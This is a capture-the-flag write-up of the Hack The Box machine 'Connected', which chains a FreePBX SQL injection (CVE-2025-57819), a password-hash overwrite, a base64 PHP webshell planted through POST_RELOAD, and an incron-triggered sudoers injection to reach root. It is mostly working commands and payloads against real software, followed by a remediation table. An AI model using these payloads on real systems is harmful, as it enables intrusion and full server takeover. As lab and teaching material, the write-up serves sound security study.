HTB Connected: From Unauthenticated SQLi to Root via FreePBX, incron & Sudoers Hijack
Box HTB non-retired. Entre le mot de passe pour lire le writeup.
Introduction
Connected is an Easy Linux machine built around FreePBX, an open-source GUI for Asterisk VoIP. The attack chain chains four distinct vulnerabilities: CVE-2025-57819 (unauthenticated SQL injection), credential hash replacement, POST_RELOAD remote code execution, and privilege escalation via incron combined with a writable module directory to inject a sudoers entry.
Attack Overview
Unauthenticated SQLi (CVE-2025-57819) → Extract ampusers hash
↓
Hash replacement via stacked queries → admin:pwned123
↓
Login + OOBE bypass → admin panel access
↓
POST_RELOAD → echo base64 webshell → RCE as asterisk
↓
Enumerate incron → world-writable ha_trigger
↓
Writable modules directory → forge freepbx_ha module
↓
Trigger incron → sysadmin_ha includes malicious incron.php
↓
Write sudoers entry → asterisk ALL=(ALL) NOPASSWD: ALL
↓
sudo su → root
Target Information
| Field | Value |
|---|---|
| IP | 10.129.15.41 |
| Domain | connected.htb |
| Application | FreePBX 16.0.40.7 |
| OS | CentOS 7 (kernel 5.4.239) |
| Web Server | Apache 2.4.6 + PHP 7.4.16 |
| VoIP Engine | Asterisk 20.17.0 |
Add the hostname to /etc/hosts:
echo "10.129.15.41 connected.htb" | sudo tee -a /etc/hosts
Reconnaissance
Port scan:
nmap -sC -sV -p- --min-rate 5000 10.129.15.41
22/tcp open ssh OpenSSH 7.4
80/tcp open http Apache 2.4.6 (CentOS) PHP/7.4.16
443/tcp open ssl Apache 2.4.6 (CentOS) PHP/7.4.16
Visiting http://connected.htb redirects to the FreePBX admin login page.
A Nuclei scan identifies CVE-2025-57819:
nuclei -u http://connected.htb
[CVE-2025-57819:sqli] [critical] http://connected.htb/admin/ajax.php?...
CVE-2025-57819: Unauthenticated SQL Injection
FreePBX 16.0.40.7 exposes an AJAX endpoint where the brand parameter is passed unsanitized into a SQL query with no authentication required:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=PAYLOAD
Confirm injection:
curl -s "http://connected.htb/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'"
Response contains a SQL syntax error.
Error-Based Extraction with EXTRACTVALUE
The injection is error-based. Use EXTRACTVALUE() to leak data inside MySQL errors:
sqli_read() {
local query="$1"
local payload="x' AND EXTRACTVALUE(1,CONCAT('~',(${query}),'~')) -- "
local encoded=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.stdin.read()))" <<< "$payload")
curl -s "http://connected.htb/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=${encoded}" \
| sed -n "s/.*XPATH syntax error: '\~\([^']*\).*/\1/p" | tr -d '~'
}
# Example:
sqli_read "SELECT VERSION()" # → 8.0.32
sqli_read "SELECT DATABASE()" # → asterisk
sqli_read "SELECT USER()" # → freepbxuser@localhost
Stacked Queries for Write Operations
sqli_write() {
local payload="x';${1};--+"
local encoded=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.stdin.read()))" <<< "$payload")
curl -s "http://connected.htb/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=${encoded}"
}
Extracting Admin Credentials
Dump the ampusers table:
sqli_read "SELECT SUBSTR(CONCAT(username,':',password_sha1),1,30) FROM ampusers LIMIT 0,1"
Output: admin:05c689686a4fad5ce3ec76e7 (truncated). Full hash: admin:05c689686a4fad5ce3ec76e7ae5708b1fe2da43a
Extract database credentials:
sqli_read "SELECT value FROM freepbx_settings WHERE keyword='AMPDBUSER'" # → freepbxuser
sqli_read "SELECT value FROM freepbx_settings WHERE keyword='AMPDBPASS'" # → mZzDpAGKTmPJ
Admin Panel Access
Hash Replacement
Instead of cracking the SHA1 hash, overwrite it with a known hash:
# SHA1('pwned123') = b39c9cd6bacc064cc8d081e319b397af69555981
sqli_write "UPDATE ampusers SET password_sha1='b39c9cd6bacc064cc8d081e319b397af69555981' WHERE username='admin'"
Credentials: admin:pwned123
Login with CSRF Bypass
The login requires a Referer header:
COOKIES="/tmp/cook_admin"
curl -s -c "$COOKIES" -b "$COOKIES" \
-H "Referer: http://connected.htb/admin/config.php" \
-X POST "http://connected.htb/admin/config.php" \
-d "username=admin&password=pwned123&submit=Submit"
Bypass OOBE Wizard
curl -s -c "$COOKIES" -b "$COOKIES" \
-H "Referer: http://connected.htb/admin/config.php" \
-X POST "http://connected.htb/admin/config.php" \
-d "oobeSoundLang=en&oobeGuiLang=en_US&action=submitOobe&submit=Submit"
Remote Code Execution via POST_RELOAD
FreePBX stores a shell command in the POST_RELOAD setting, executed on every “Apply Config”. Inject a base64-encoded PHP webshell:
B64="PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pg=="
sqli_write "UPDATE freepbx_settings SET value='echo ${B64}|base64 -d > /var/www/html/c.php' WHERE keyword='POST_RELOAD'"
Trigger the reload:
curl -s -c "$COOKIES" -b "$COOKIES" \
-H "Referer: http://connected.htb/admin/config.php" \
-H "X-Requested-With: XMLHttpRequest" \
-X POST "http://connected.htb/admin/ajax.php?module=framework&command=reload" \
-d "display=&reload_needed=false"
Use the webshell:
curl "http://connected.htb/c.php?cmd=id"
# uid=999(asterisk) gid=1000(asterisk)
User Flag
curl "http://connected.htb/c.php?cmd=cat+/home/asterisk/user.txt"
[redacted]
Post-Exploitation Enumeration
Running ps aux reveals incrond running as root. Check incron system table:
curl "http://connected.htb/c.php?cmd=cat+/etc/incron.d/legacy"
Output:
/usr/local/asterisk/ha_trigger IN_CLOSE_WRITE /usr/sbin/sysadmin_ha
File permissions:
ls -la /usr/local/asterisk/ha_trigger
# -rwxrwxrwx 1 asterisk asterisk (world-writable)
The sysadmin_ha script includes PHP files from /var/www/html/admin/modules/freepbx_ha/. The modules/ directory is writable by asterisk.
Privilege Escalation
Create Fake Module
# Create directory structure
curl "http://connected.htb/c.php?cmd=mkdir+-p+/var/www/html/admin/modules/freepbx_ha/functions.inc"
# Create license.php (passes existence check)
curl "http://connected.htb/c.php?cmd=echo+'<?php+?>'+>+/var/www/html/admin/modules/freepbx_ha/license.php"
Create malicious incron.php:
PAYLOAD='<?php class incron { public function rootTrigger() { file_put_contents("/etc/sudoers.d/asterisk", "asterisk ALL=(ALL) NOPASSWD: ALL\n"); } }'
echo "$PAYLOAD" | base64 > /tmp/payload.b64
curl -d "cmd=echo+$(cat /tmp/payload.b64 | tr -d '\n')+|+base64+-d+>+/var/www/html/admin/modules/freepbx_ha/functions.inc/incron.php" "http://connected.htb/c.php"
Trigger the Exploit
Write to the incron trigger file:
curl "http://connected.htb/c.php?cmd=echo+1+>+/usr/local/asterisk/ha_trigger"
Wait 15 seconds, then verify sudo access:
curl "http://connected.htb/c.php?cmd=sudo+-l"
# (ALL) NOPASSWD: ALL
Root Flag
curl "http://connected.htb/c.php?cmd=sudo+su+-c+'cat+/root/root.txt'"
[redacted]
Key Takeaways
| Vulnerability | Root Cause | Remediation |
|---|---|---|
| CVE-2025-57819 (SQLi) | Unsanitized brand parameter in AJAX endpoint | Parameterized queries; input validation |
| Hash replacement via stacked queries | Write access to ampusers table | Least privilege for database user; separate web and DB accounts |
| POST_RELOAD shell injection | Application executes database-stored command without sanitization | Never store executable commands in DB; use configuration files with strict permissions |
| World-writable incron trigger file | ha_trigger permissions 777 | Restrict permissions; validate file ownership in incron rules |
| PHP module inclusion without integrity check | sysadmin_ha includes files from writable directory | Implement signature verification; restrict include paths |
| Writable sudoers.d | No integrity check on sudoers drop-in directory | Set immutable flag; monitor changes to /etc/sudoers.d/ |
Resources
- Nmap — Port scanning and service detection
- Nuclei — Vulnerability scanning
- hashcat — Password hash cracking (mode 100 for SHA1)
- FreePBX Documentation — Understanding POST_RELOAD and module structure
- incron — Filesystem event scheduling
- CVE-2025-57819 — FreePBX SQL injection